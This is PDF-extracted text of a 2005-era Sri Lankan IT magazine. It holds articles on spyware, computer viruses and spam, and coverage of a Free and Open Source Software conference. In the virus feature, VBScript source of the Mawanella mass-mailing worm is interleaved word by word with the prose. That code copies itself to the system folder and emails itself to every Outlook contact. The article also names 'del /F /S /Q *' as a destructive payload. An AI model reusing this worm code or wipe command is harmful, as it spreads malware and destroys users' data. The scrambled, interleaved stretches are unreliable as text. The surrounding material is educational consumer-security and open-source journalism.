3. Lay Off The Porn If you walk around in a swamp you will get leeches. The best thing is to avoid porn altogether, but at least wear boots. Internet Explorer is the equivalent of barefeet. If you really love IE then download Service Pack 2 and pray. However, they’re cracking Service Pack 2 as we speak. There are also pr0n-specific browsers like Abyss (Google: ‘abyss browser’). The best option in general is to...
4. Switch Browsers Most Spyware is written for Internet Explorer. Even if you browse in the most moral fashion you will still get Spyware. If you don’t use IE you won’t get Spyware. The basic reason is pretty simple. IE uses something called ActiveX to interact with other programs. Spyware uses ActiveX to screw up your computer. Firefox doesn’t use ActiveX. Hence no Spyware. Firefox is also really fun to use. Switching browsers and running Spyware scans will pretty much solve your Spyware problem. The other suggestions are helpful, but they’re really lifestyle choices.
abstinence is best, but always practice safe browsing /it-times/feature/security
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
Virus
Birth. Sex. Crap. Death.
On Error Resume Next Rem // I hate Mawanella incident Set W_S = CreateObject(“WScript.Shell”) Set fso = CreateObject(“Scripting.FileSystemObject”) set file = fso.OpenTextFile(WScript.ScriptFullname,1) vbscopy=file.ReadAll As a paying Windows customer, main()
The life of a virus
you are free to destroy your computer. From command line (command.exe) you can type the words “del /F /S /Q *” and erase everything. That’s fine. The problem is that Window is so full of holes that it lets sub main() On Error Resume Next other people do that. The most obvious flaw is something called ‘buffer overflow’. dim wscr,rr, strMsg Imagine that Windows is a house-party. The system files are in the parlor, so you set wscr=CreateObject(“WScript.Shell”) Set dirwin = fso.GetSpecialFolder(0) close the door. However, if the party gets big enough people will inevitably spill into Set dirsystem = fso.GetSpecialFolder(1) the parlor and break stuff and throw up in the wastebasket. Good code prevents Set dirtemp = fso.GetSpecialFolder(2) this, but Windows doesn’t. If you’re a hacker you can dump an excess of data into Set cFile = fso.GetFile(WScript.ScriptFullName) cFile.Copy(dirsystem&”\Mawanella.vbs”) a legitimate buffer and it lets you into the system files. That’s bad, but manageable. After all, it’s just one computer. Or not. 97% of computers use Windows, so if you Set OutlookA = CreateObject(“Outlook.Application”) can hack one computer you can hack them all. Oh, and everybody uses Internet If OutlookA = “Outlook” Then Explorer and Outlook, so if you can break into one computer, you can break into all Set Mapi=OutlookA.GetNameSpace(“MAPI”) of them. This monoculture makes writing a virus pretty simple. First you write code Set AddLists=Mapi.AddressLists For Each ListIndex In AddLists that breaks in through Windows, Explorer, or Outlook. Then you tell that code to If ListIndex.AddressEntries.Count 0 Then copy and be fruitful. You can include an evil payload like “del /F /S /Q *”, but ContactCountX = ListIndex.AddressEntries.Count that’s not even necessary. If your virus spreads fast enough it can crash the whole For Count= 1 To ContactCountX Set MailX = OutlookA.CreateItem(0) Internet with just copies of itself. Birth, sex, crap, death. Set ContactX = ListIndex.AddressEntries(Count) ‘msgbox contactx.address ‘Mailx.Recipients.Add(ContactX.Address) - Every computer virus has a human parent. Very often that human hasn’t MailX.To = ContactX.Address mastered conventional reproduction, but they can type. Any teenager can downMailX.Subject = “Mawanella” MailX.Body = vbcrlf&”Mawanella is one old of code the Sri load a virus kit, re-package and Lanka’s release a Muslim low-level virus. It takes more Village”&vbcrlf intelligence and yes, creativity to write a truly original virus. The German teenager ‘Set Attachment=MailX.Attachments Sven Jaschan is& the latest wunderkind - accounting for 55% of virus reports in ‘Attachment.Add dirsystem “\Mawanella.vbs” ‘Mailx.Attachments.Add(dirsystem “\Mawanella.vbs”) 2004 with Netsky and &Sasser. Many hackers look upon virus writing as a creative, Mailx.Attachments.Add(dirsystem & “\Mawanella.vbs”) rebellious act. In the stifling Suburbs of Microsoft it seems only right to sprayMailX.DeleteAfterSubmit = True the walls. However, the new strain of viruses are actually pure evil. Today the If MailX.To paint “” Then MailX.Send motivation is money and the payload is Spam. End If Next End If - Replication is the primary duty of a virus. If you don’t reproduce, you won’t Next exist, plain and simple. The extinct virus that forms the background of this page Else msgBox “Please Forward this does to justeveryone” that. The Mawanella virus says hello and promptly emails itself to everyone End if
Birth
Sex
strMsg= strMsg= strMsg= strMsg= strMsg= strMsg= strMsg= strMsg= strMsg= strMsg= strMsg= strMsg= strMsg= strMsg=
“ ) strMsg strMsg strMsg strMsg strMsg strMsg strMsg strMsg strMsg strMsg strMsg strMsg strMsg
& & & & & & & & & & & & &
in your address book. What you notice is just another annoying email. The network administrator of your company notices 10,000 emails. An hour. That’s a problem. (“ & vbcrlf
“( ) ( ) “ & vbcrlf “ ( ) ( )” & vbcrlf “ ( ) ( & vbcrlf whether it carries a payload or not. The Internet - A virus is)”destructive, “ -------------------------” & vbcrlf and it can only take so much crap. If you have has a finite amount of plumbing, “ / ( ( ( /\” & vbcrlf a virus “ / ( copying itself/ over-and-over \” & vbcrlf that clogs the whole thing up. The Sapphire “ / ( ( / much \” that & vbcrlf virus copied itself so it crashed South Korea. The country. This wasn’t “ --------------------------------” & vbcrlf because Sapphire made a brilliant attack, it was just a crapflood. Many viruses today “ | --| |” & vbcrlf “ | -----go above |and |beyond.| The most |” &lucrative vbcrlf ones hijack your computer and use it to “ | | | --- of Spam | messages |” & vbcrlf send thousands an hour. “ | | | | |” & vbcrlf “ --------------------------------” & vbcrlf
Crap
Death - Viruses eventually die. Windows issues a patch for their leaky ship (which
strMsg= strMsg & “Mawanella is one of the Sri Lanka’s Muslim Village.” & vbcrlf nobody downloads) andhere the antivirus companies clean the mess. All viruses thus strMsg= strMsg & “This brutal incident happened 2 Muslim Mosques & 100 up Shops are burnt.” & vbcrlf far have been stopped, but companies and nations still lose days of productivity and strMsg= strMsg & “I hat this incident, What about you? I can destroy your combillions of dollars. Nothing has knocked down the Internet yet, but Sapphire (Slamputer” & vbcrlf camebecause really close. 5 of thecitizen.” 13 nameservers. If you knock out all 13 strMsg= strMsg & “I didn’t mer) do that I am It a crashed peace-loving msgbox strMsg,,”Mawanella” End sub
/it-times/features/security
then the Internet is officially down.
Anti-Virus image by Chuckmo (flickr.com/photos/chuckmo/)
As long as you use Windows you’ve got a corner office in the World Trade Center. Or, to be metaphorically accurate, the Tower of Babel. And the whole earth was of one language, and of one speech... And the LORD said, Behold, the people is one, and they have all one language; and this they begin to do: and now nothing will be restrained from them. Go to, let us go down, and there confound their language, that they may not understand one another’s speech. So the LORD scattered them abroad from thence upon the face of all the earth: (Genesis 11:1-9) Aside from incurring the wrath of God, monoculture also breaks with biology. The Irish Potato Famine happened, in part, because all the potatoes had the same inbred genes. One virus was enough to kill them all. In short, don’t put all of your eggs in one basket. This isn’t Microsoft’s fault, it’s just the price of success. Things like buffer overflows, however, are just sloppy programming. The obvious solution is to use a different operating system. Linux is the ideal cause it comes in 8,000 flavors, but Mac is beautiful. This solves the root problem of monoculture, but it’s still too much for most people. At the very least run a secure browser like Mozilla Firefox and an email program like Thunderbird. That way viruses can’t crack your browser and they can’t find your email contacts. These Other solutions are really just band-aids.
backup This is the most important step of all. You have to assume that everything on your PC will be gone tomorrow.
by Indi Samarajiva Stuff happens - viruses, power failure, demon possesion. If you care about the information back it up. You can get a DVD burner from someplace like PanAudio (Rs. 15,000 - 20,000) and backup 5 Gigabytes at a time, or get an external hard-disk and backup everything at once (best). Backing up is boring, but when you system (inevitably) crashes you’ll be so so happy.
update Windows automatically tells you when there are updates to download. Download them. One of the weird things about viruses is that people often start writing viruses after Microsoft issues a patch. The patch tells virus writers exactly where Windows is broken. Half of Windows users don’t download the patches and they get hit. If you don’t have Service Pack 2 already, get it (Google). It fixes a lot of problems and downloads new patches automatically.
scan This step is actually the least important, but the most common. For free antivirus just Google ‘Panda Software’ or ‘Trend Micro’ (makers of PC-Cillin) and you’ll be able to run the scan from there. It’s always updated, but it’s better to have a desktop solution like Norton or McAfee’s running at all times. You can get pirated versions round Colombo, but it’s better to buy a registration key online to get the updates - the only thing that matters. Everybody has Norton’s so try and go with McAfee’s. See God’s reasons above. /it-times/feature/security
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
Spam On SPAM is a meat of dubious composition. Or was. In 1970 Mont Python performed a skit where a hapless couple was in a restaurant trying to order a meal. To their dismay they found that the server offered nothing but “Spam! Lovely spam! Lovely spam!” At this point a nearby table of Vikings joined the chorus, drowning out all conversation. When marketers began flooding email and forums with junk advertisements the phenomenon was named Spam in honor of the sketch. SPAM (all caps) is still an official trademark of Hormel Foods, and the SPAM the tinned meat is still available at stores like Cargill’s and Keells. Spam (the junk mail) is available in your Inbox.
what? Spam is unsolicited commercial email. According to AOL’s statistics, the most common Spam subjects are: ○ Viagra, Xanax, Valium, Celebrex ○ Online pharmacy ○ Get out of debt ○ Sexual enhancement ○ Online degree or diploma ○ Low mortgage rates ○ Low insurance rates ○ Work from home
who? There are two levels of Spammers. The first is the company selling the product - be it Viagra or a Mortgage. They can spend as little as Rs. 500 for a CD with a million addresses on it. Now, if they really want the marketer can send all the emails themselves. Usually, however, they contact the next level, the people who Spam for a living. /it-times/features/email
As it is, the Spam industry is remarkably centralized. Spamhaus.org estimates that about 200 people are responsible for 90% of the Spam people receive. The ROKSO list has the names and contact information of most of them. For examples, the top Spammers for 2004 were: ○ Alan Ralsky ○ Scott Richter ○ Bill Waggoner ○ Michael Lindsay Alan Ralsky is one of the most public characters. After 2 convictions for fraud Ralsky declared bankruptcy. As a fresh start he bought 2 computers, some mailing lists, and the Spam King was born.
how? At the entry level your local penis-pill vendor can Google “bulk e-mail” and find many services that will Spam for about Rs 10 per address. A big player like Ralsky charges about Rs 2,200,000 for a single mailing to his 250 million address database. That breaks down to about Rs 0.0088 per address. The Antispam section at right details how to protect your address. You can send Spam from any computer, but most Internet Service Providers will notice if there’s that much outgoing email traffic (Port 25). Spammers get around this by routing mail through another port, using amoral ‘Bulletproof ’ ISPs, or simply moving around. Ralsky seems to be bouncing around Chinese servers right now. Oh, and you send Spam. Worms and
viruses like Netsky and Bagle take over computers and turn them into Spam spewing zombies. Over half of all Spam comes from zombie computers (Sophos, Sandvine). You can protect your computer by installing a firewall or Windows Service Pack 2, but that will eventually get cracked. Sending Spam through you is the best method available since it completely covers the Spammers tracks.
why? Because it works. As Ralsky says, “You figure it out. When you’re sending out 250 million e-mails, even a blind squirrel will find a nut.” The teenage Spammer Braden Bournival left an order log at his site open which gave Wired News access to some direct data. Over 4 weeks 6,000 people bought his penis-enlargement pills for Rs 5,000 each. That’s about Rs 30,000,000 in revenue. The pills cost Rs 500 to make. The average Spammer expects a response of around 0.01% to 0.5%. The cost for sending bulk emails is extremely low and the payout is high. In an unregulated economy Spam will continue to exist and grow.
Spam Off best if you have your own website and webserver.
avoid monoculture
protect your address Spammers have thousands of spambots searching the Net for any addresses that appears online. Even if your address doesn’t appear online, there’s a chance that it’ll get sold around and end up with a Spammer. However, if you don’t give out some address you can’t really experience the Internet. Everyone from news sites to shopping to blogs require email addresses, and in most cases the experience is better for it. It is, however, important to keep your ‘real’ email safe. Here are a few methods: 1. Lie. If the site isn’t a friendly blog or doesn’t use your address to send you a password, then just make one up. 2. Lie better. Many sites like the New York Times require registration. You can use usernames and password provided free by bugmenot.com. 3. Use aliases. The best practice is to setup dummy email addresses that forward to your real one. For example, the address [email protected] isn’t a ‘real’ address, it just forwards to a Gmail account. If you use a forwarder then you can give out a dummy address online and save your real address for real people. If you ever get hit with Spam then just stop forwarding and your real email is safe. This works
According to Forbes, 33% of people use Hotmail and 30% use Yahoo Mail. This makes life easy for Spammers. They run dictionary attacks that simply check whether logical addresses like [email protected] are taken. These attacks can be fought at the server level, but Microsoft has been somewhat lax. If you’re using Hotmail or Yahoo you will be targeted no matter how carefully you protect your address. At the moment Gmail is less Spammed in general. The best option is to get your own domain and server. This gives you unlimited forwarders and a name that no-one will run dictionary attacks against. A domain name costs Rs 800 - 1,500. www.register.com is on the high end, but is also not evil like some registrars. For the full service www.easydns.com will give you a name and 100 forwarders for Rs 4,000 per year.
filter your mail Hotmail, Yahoo and Gmail all filter your mail to some extent. Hotmail gets about 3 billion Spams a day and filters about 1.7 billion of them. Yahoo also has decent filters in place, and Gmail’s are excellent. If you want to take more control then use a desktop client. Outlook Express and any version of Outlook below 2003 are pretty much useless. You can theoretically use them, but you have to write the Spam Filters yourself. You might as well write a decent mail program. Outlook 2003
is OK as it has a working filter built in. There are still some options to setup, however. Just Google: ‘Outlook Spam Tutorial’ and it should set you semi-straight. Mozilla’s Thunderbird is probably the best desktop client for fighting Spam. It avoids the Microsoft monoculture. and hundreds of open-source programmers keep it on the bleeding edge. Thunderbird has a learning system built in. If you mark a message as ‘Junk’ the filter learns from that. Over a week or so it should block about 99% of your Spam (this figure is based on anecdotal evidence). This magazine likes Mozilla and opensource in general. In fact the bird protecting the message above is Thunderbird itself.
sue and legislate The Internet is not lawless. Right now it is a frontier, but frontiers eventually get tamed, settled, and zoned into safe and boring suburbs. Sites like spamhaus.org show that about 200 people are causing 90% of the crap in your inbox. Those people can be found and they can be stopped. Australia has written a strong ‘OptIn’ law which makes it illegal (and very expensive) to send Spam to anyone who hasn’t agreed to receive commercial mail. This law has been very effective in preventing Australian Spammers. Unfortunately about 42% of Spam comes from America, and their law is ‘Opt-Out’. This basically legalizes Spam cause people can’t be bothered to find the list and sign-up. Of course, the most satisfying response to Spam is simple. 1) Go to the Spammer’s door (addresses at spamhaus.org) 2) put dog poop in a bag, 3) light bag on fire, 4) ring doorbell, 5) run. /it-times/features/email
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
Open L A M Many websites you visit every day use free and open source software to return your searches, serve you email, and deliver cricket scores. Notable examples include Google and Yahoo. Every piece of data on the Internet is stored on some computer spinning away. This computer is called a server, but it looks much the same as a PC. When you have to buy thousands of computers and keep them secure it often makes good economic sense to go the free and opensource route. Not that there isn’t money in it, however. Qualified open-source professionals make oodles of money consulting and customizing for big companies and start-ups all over the world. The speakers at FOSSSL were all travelling on the open-source junket. In this feature story on the 2005 Free and Open Source Software Sri Lanka conference, we will begin with an overview from Mahangu, live blogs from the conference, and a view on what FOSS means for one designer. As a brief introduction, this graphic illustrates the different parts of the traditional FOSS stack that drives websites the world over. /it-times/features/opensource
P L
inux is the standard base of a FOSS web server. It runs the computer and manages the basic infrastructure for everything else. Linux was actually really low-level infrastructure and GNU tools did most of the interesting stuff. The common dropping of GNU/Linux from the proper name still irks many hackers (page 35).
A
pache mediates between the computer and the outside world, in this case the World Wide Web. When you type http://www.google. com it takes that HTTP request, talks to Linux and gets what you were looking for.
M
ySQL is a database that stores and organizes data. Rather than keeping your data in an unstructured pile MySQL (or PostgreSQL) files it away nicely.
P
HP (or Perl) is the presentation layer. It talks to the MySQL layer and then automatically writes the HTML that you see on the web. MySQL on its own is very plain, but nice PHP can write beautiful and dynamic web pages.
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
Source The sun is setting on Galle Face Green as Rasmus Lerdorf, the lead developer of PHP, wraps up his three hour talk on the subject. It’s Free and Open Source Week in Sri Lanka and I’m in a room full of geeks at a tutorial. It’s question time, and a hand goes up behind me...
“So basically anybody can take the PHP source, repackage it and sell it?” Rasmus nods. “Yeah, PHP is distributed under the BSD license, which means that you can pretty much do anything you want with it. Basically the only thing the license says you can’t do, is release your fork as something like PHP Version Seven, because obviously that would be very confusing. Apart from that, you can pretty much do anything you want with it.” He pauses for a moment, and smiles, before continuing. “Of course,” he says, “your new product would have to compete with me and a thousand or so friends of mine.” PHP, which is arguably the most popular server side scripting language on the web, was started by Rasmus as a hobby project just under a decade ago. Today the language powers the majority of the world’s major web based applications. Some of the more prominent users include Google and Yahoo! (by whom Rasmus is now employed). It is updated and maintained by hundreds of developers from around the world. Currently, Microsoft’s server side scripting language ASP (Active Server Pages), and Sun Microsystems’ JSP (Java Server Pages) fall far, far short in usage statistics. The success of PHP, and of Free and Open Source Software in general has to do with its release model.
release early, release often This, in essence, is the FOSS Mantra. What has made the Free and Open Source Software community so successful is the fact that the software it creates is always close to a release. This, among many things, also ensures that there is always a version that can be run. It may not always be perfect code – but at least it’s code, and not just a design draft that’s still in text. Whereas major software companies often take months (and sometimes even years) in the planning stages, FOSS development teams typically get a rough model together and start writing the actual code. The idea is that the software will be fixed as it matures. By releasing early, and releasing often, developers are able to gather feedback, fix bugs, and improve the quality of their code while still pushing the product forward.
one tree, many branches Typically, FOSS projects have different branches. There will be a stable branch that contains code that has been cured of bugs and tested for stability. On the other hand there will also be a bleeding edge or development branch which will contain untested code. Whereas the lay user /it-times/features/opensource
30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
The real beauty of this however is that the process continues down the line, with projects like Wordpress and Mambo evolving their own developer communities. In the process, the Free and Open Source community increases both in quality and quantity.
will probably prefer the stable branch, developers, tweakers and tinkerers will love the development branch for its new features. The beauty of the process is that the tweakers and tinkerers who download this branch will find bugs, suggest fixes and maybe even patch the code – over time transforming the development release in to a stable release. The developers on the other hand will be busy adding more features to the next development release. And so the recursion continues, ensuring quality code for the user and enough new features to play around with for the tinkerer. An excellent example of this process is found in the Red Hat Linux development cycle. Red Hat, one of the oldest GNU/Linux distributions, recently split their empire in two. The company now has two main products – Red Hat Enterprise Linux and the Fedora Core. The Fedora Core is the above mentioned development branch of the company. New features are poured in to this, and the source is released as FOSS, ensuring that the community will be able to find bugs and patch code. On the other hand, the stable branch of RH is known as Red Hat Enterprise Linux (RHEL), and is sold commercially, with support. Apart from being an excellent illustration of how FOSS companies can be financially viable as well, the RHEL – Fedora brotherhood is a great working example of the release cycle which FOSS projects typically implement.
children, grandchildren and family tree Another advantage of a FOSS project is that it typically /it-times/features/opensource
begets many children. Thanks to its open license many open source developers and development teams have chosen PHP as their language of choice in creating web based programs. From simple weblog systems like Wordpress to fully customizable Enterprise Content Management Systems like Mambo, PHP has spawned a huge FOSS community of its own. The real beauty of this however is that the process continues down the line, with projects like Wordpress and Mambo evolving their own developer communities. In the process, the Free and Open Source community increases both in quality and quantity.
lamping it Having PHP on its own however is akin to having sandwich paste without bread and butter. Whereas PHP is a simple and effective solution to server side application needs, it would be nowhere without the an operating system, a web server, and a database management solution. This is where LAMP comes in. Linux, Apache and MySQL provide PHP the foundation it needs to perform. These four applications together form what is commonly called the original LAMP stack. Over time however, other databases such as PostgreSQL and programming languages such as Python and Perl have crept in to the LAMP definition. Rasmus illustrated this clearly during his presentation at the Asian Open Source Symposium during FOSS week when he said that at Yahoo! Inc, where he works, they use
FAMP – FreeBSD, Apache, MySQL and PHP. Similar variants to LAMP exist in the form of LAPP (substituting PostgresSQL for MySQL), WAMP (Windows in place of Linux), MAMP (Macintosh instead of Linux) and LAMJ (Java Server Pages instead of PHP). This, if any, is an excellent example of the flexibility that Open Source Software gives you to mix and match software to suit virtually any need.
gratis/libre/free software vs open source Free as in Speech (Libre) and Free as in Beer (Gratis) are terms used by the FOSS community to differentiate between the two meanings of the English word free. Libre refers to freedom (like everyone’s right to freedom of speech),and the ability to customize and edit software for your own needs. Gratis on the other hand refers to the a piece of software being distributed free of charge, like beer at a party. Though confusing at first, this differentiation is an important one for the FOSS community. The term Libre is also the reason why the FOSS community is sometimes called the F/LOSS community, meaning Free / Libre and Open Source Community. One of the problems with Free and Open Source Software however is that it has become very hard to define. The movement is roughly separated in to two groups – The Free Software Community and the Open Source Movement.
license gives users the right to customize their software providing that they hand the changes back to the community free of charge. The Open Source Movement on the other hand, pushes for a what they believe is a more complete freedom and thus does not enforce any restrictions upon the user. Thus many Open Sources licenses such as the BSD License (used by PHP) and the more recent Apache Licenses (used by the Apache Software Foundation in licensing its products) are almost totally unrestrictive, giving users the opportunity to embed Open Source code in commercial software. Thus, many Open Source advocates claim that their licenses are in fact “more free” than the GPL and other licenses of the Free Software Movement. The attitude of the Open Source movement was clearly brought out by Apache Foundation Chairman Greg Stein during the closing panel discussion of FOSSL05. Speaking on the user’s responsibility towards the community, Greg said “To me it doesn’t really matter if the user gives back to the community or not. I write code because that’s what I like doing – if the user just wants to use the software, that’s fine with me.” Perhaps the easiest explanation for the phenomenon lies herein – Although not all Free Software is Open Source, all Open Source Software is definitely Free Software. Due to the heavy overlap that exists between the two, the name Free and Open Source Software has been coined as an attempt to cover all ground.
These two groups differ on a few licensing and technical issues. The Free Software Community believes that the continued freedom of software should be safeguarded with the use of binding licenses that stipulate that derivatives and byproducts must be handed back to the community free of charge. On the other hand, the Open Source Movement believes that users should have the right to do whatever they want the software – even repackage it in a commercial product without giving anything back to the community. Traditionally, the Free Software Movement is strong in advocating Libre. The movement has at its heart the GNU Public License. Also known as the GPL, this
organizer Sanjeeva Weerawarana watching the panel discussion
/it-times/features/opensource
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
foss sri lanka Personally I found that one of the most exciting things about FOSS Week was the public introduction of Taprobane, a GNU / Linux distribution being worked upon by a handful of local programmers. The current Taprobane distribution runs off a Live CD, meaning you can try it out at no risk. There’s no thirty-day-money back guarantee though. Why? Because there is no money – it’s free, both as in speech and in beer. You can just go to http://taprobane.org, download the .torrent file and open it with your favourite BitTorrent client. Once the .iso file has downloaded, just burn a CD and boot with it. Version 0.4.1 was the current version at the time of going to print and contained the features like Linux 2.6.12.4, Open Office, a running web server, KDE 3.41, and educational software. Although we didn’t have the time to do a full review of the distribution, we poked around quite a bit, and found it very much to our liking. The boot sequence is a big improvement (time wise) on other Live CD Linux distributions we’ve tried, and certainly more picturesque. The distribution ships with the KDE display manager, and the team has included most applications that an everyday user would need - Open Office 2, Gimp 2.2, GAIM, Firefox. Naturally it’s a little slow because as a Live CD it loads everything from memory, and this is another reason why a hard drive installer should be released soon. IT Times learns from reliable sources that the feature is in the works, and will hopefully be a part of the next release. Hard core geeks on the other hand may like to try a manual partition and install, instructions for which can be obtained from the official mailing list. For forums, mailing lists and other ways of getting involved with the distribution of Taprogane visit the project’s official website at http://taprobane.org. The distribution is an initiative of the Lanka Linux User Group (LKLUG) who meet online at http://linux.lk and http:// lug.lk. As Sri Lankans, Taprobane is one opportunity we have to support local Free and Open Source Software. For starters we urge you all to try and get your hands on a copy. Although downloading it is the easiest way to go, if all else fails, drop me an email and I’ll burn you a disk. Personally, I can’t wait to try Taprobane on my hard drive. Seeing that it’s built on Debian, my Linux flavour of choice, the transition should be that much easier. /it-times/features/opensource
View of Mihintale. Photo by Badley (flickr.com/photos/nonevent/)
Lighting Up The Hospital by Dulan Abeyratne One of the biggest issues with software applications are that they don’t always take in to account the end user. As a result, there are many people who have issues easily solved, that aren’t solved because they don’t have the necessary knowledge. Dr. Nandalal Gunaratne used to be just an end user, but now he’s become part of a program to make good use of LAMP (Linux, Apache, MySQL and PHP/Perl/Python) for the Health Services. Dr. Gunaratne started off his presentation by mentioning his postition as an end user and asked everyone to bear with him if he doesn’t use as many technical terms as the other speakers. After that, there was an interesting mention of the ruins of an ancient hospital in Mihintale. The story behind this would be explained later. Apparently, there’s a huge need for Health Information Technology (HIT), so that’d be a great place for people start looking into. This is mainly due to the fact that data needs to be collected, manipulated and analysed a lot. Also, there was a need to shift from text based applications (which had been in use earlier) to Graphical User Interfaces (GUI) in order to enable the applications to be used by non-IT staff - i.e. doctors, nurses etc. One of the main highlights of the presentation was the statement made with regard to the need for Electronic Medical Records (EMR) which the doctor says, are required “from Womb to Tomb”. So much so, that sometimes the staff ask parents at Kalubowila (Colombo South) Hospital for the kids’ names, before they’re even born. This is probably quite disturbing for the parents, since many would be waiting to check for auspicious names based on the time the kid is born, but I digress. The standard format for EMR could not be proprietary. If it were, it would present a significant problem for the stakeholders of the hospital - like for instance, the government, as the data would be based on a format not
owned by them. Therefore, Free and Open Source was selected as the way to go. In Sri Lanka, Health Service is handled by the government and is mostly free. Therefore Free and Open Source makes even more sense, as it would save public money. Dr. Gunaratne also mentioned a number of open source tools available for the medical community - like GNUMED and FreeMed. He also talked about how Medical Imaging had not much support in the FOSS community maybe two years ago, but how the support had grown significantly since then. The support of Andrew P. Ho and LinuxMedNews had been of great use to the Dr. Gunaratne. The spirit of cooperation through this mailing list has enabled the doctor to greatly increace his knowledge of LAMP and finally establishing a system based on OIO for use at the hospital. The main advantage of LAMP, according to the doctor, was the similarity to Lego toys. The ability to put together various applications so that the final required product could be used has been very useful. However, it seems that the project is currently suffering from a lack of publicity. The doctor appealed to everyone present to help ensure that this project doesn’t suffer the same fate as the hospital in Mihintale, which while having been of immense use in its time, now lies in ruins - of interest to archealogists and sightseers only. In conclusion, the doctor made another interesting point - that Apache was like the sun, bright, but difficult for someone like him to work with directly, but Zope was the moon - easier for him to deal with. In summary - the presentation added to the growing argument that government data needs to conform to open standards for it to be of the best use. (originally live blogged at www.nidahas.com) /it-times/features/opensource
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
A fishing net buoy, resting on the beach, by (flickr.com/photos/wavesofhope)
Opensource vs Tsunami by Dulan Abeyratne The word “Sahana” means “relief ”. Sahana was set up in response to the need for a disaster management application right after the tsunami of December 26, 2004. Disasters have a tendency to cause havoc, even when you think that you’re well prepared for them. So its no surprise that the disaster you weren’t prepared for really causes havoc. In his presentation, Chamindra de Silva of the Lanka Software Foundation (LSF)/Virtusa described the steps involved in setting up Sahana - which he admits, was at the time “a quick hack”. The potential for IT in Emergency Management (EM) was shown as follows: 1) The ability to connect people together quicker and more efficiently than traditional noticeboards and similar methods 2) Account for and track people /it-times/features/opensource
and keep track of them 3) Prioritize the required courses of action in an efficient manner 4) Facilitate cooperation among the various stakeholders by providing a common platform 5) Efficiently match needs with pledged assistance 6) Ensure transparency Due to the non-commercial nature and ethical perspective involved in disaster/emergency management, the best option available was to go for a FOSS solution. At present Sahana has completed Phase I of its implementation. The presentation today went on to further describe the manner in which Phase II would go ahead. In light of the natural disaster in New Orleans - it seems that there is a very visible need for tools to help manage disasters. When you consider that even the richest governments in the world may not have budgeted for disasters and their management, a FOSS solution
- with the support of the tech community and experts in Humanitarian ICT and Emergency Management sounds good. There is already a great deal of interest in Sahana - from IBM, NGOs and also Richard Stallman, generated when Chamindra was in Cambodia doing a presentation about Sahana, as well as from the various awards it has won. In order to go ahead with Phase II, Sahana will be implementing a hybrid FOSS development model - similar to the Mozilla Firefox development - a sponsored core team will ensure the code and also support the community. So if you happen to be involved in GIS, mobile devices, PDA/Satellite phones, SMS/MMS or XHTML/ CSS/AJAX technologies, then perhaps you’d like to join the effort at Sahana. (originally live blogged at nidahas.com)
The Value of Free by Prabath Sirisena Today, September 10th, is the Software Freedom Day. It’s a day when FOSS geeks celebrate the glory of Free Software, and in a broader sense, Freedom. Although a designer at heart, and more consumer than producer when it comes to software tools, I’m compelled to throw my 0.02 rupees in, because one man on the other side of the world managed to convert me into a faithful admirer of the Church of St.IGNUcius some time back. If not for RMS [Richard Stallman, innovator behind GNU], worshipped by many, hated by even more, and feared by all, it would be frightening to imagine what the software landscape would be today. In a world increasingly defined by code, as Prof. Lessig says, his words, works, and indeed, life, is an inspiration for all of us to think beyond the corporate rhetoric. I need not say much here; visit the GNU project philosophy section, and read. It changed the way I see things, and it will change yours. However, Free Software has had its difficult times. Like when Open Source became the “in” thing (I guess it still is). RMS’s no-bs, uncompromising attitude irked some of the masters in the hacker community, who forked the Free Software movement to create the Open Source Initiative. It resulted in him being pushed to the sidelines as the next generation of easy-going hackers like Linus and the rest of the Open Source camp became the idols of geeks around the world. Open Source was the new kid on the block, and Free Software was going to be history: something that served it’s purpose during it’s time, and has gone to inevitable retirement to make room for better, sexier things. May be I’m blowing things out of proportion here. May be I’m idolizing RMS too much. But then I see
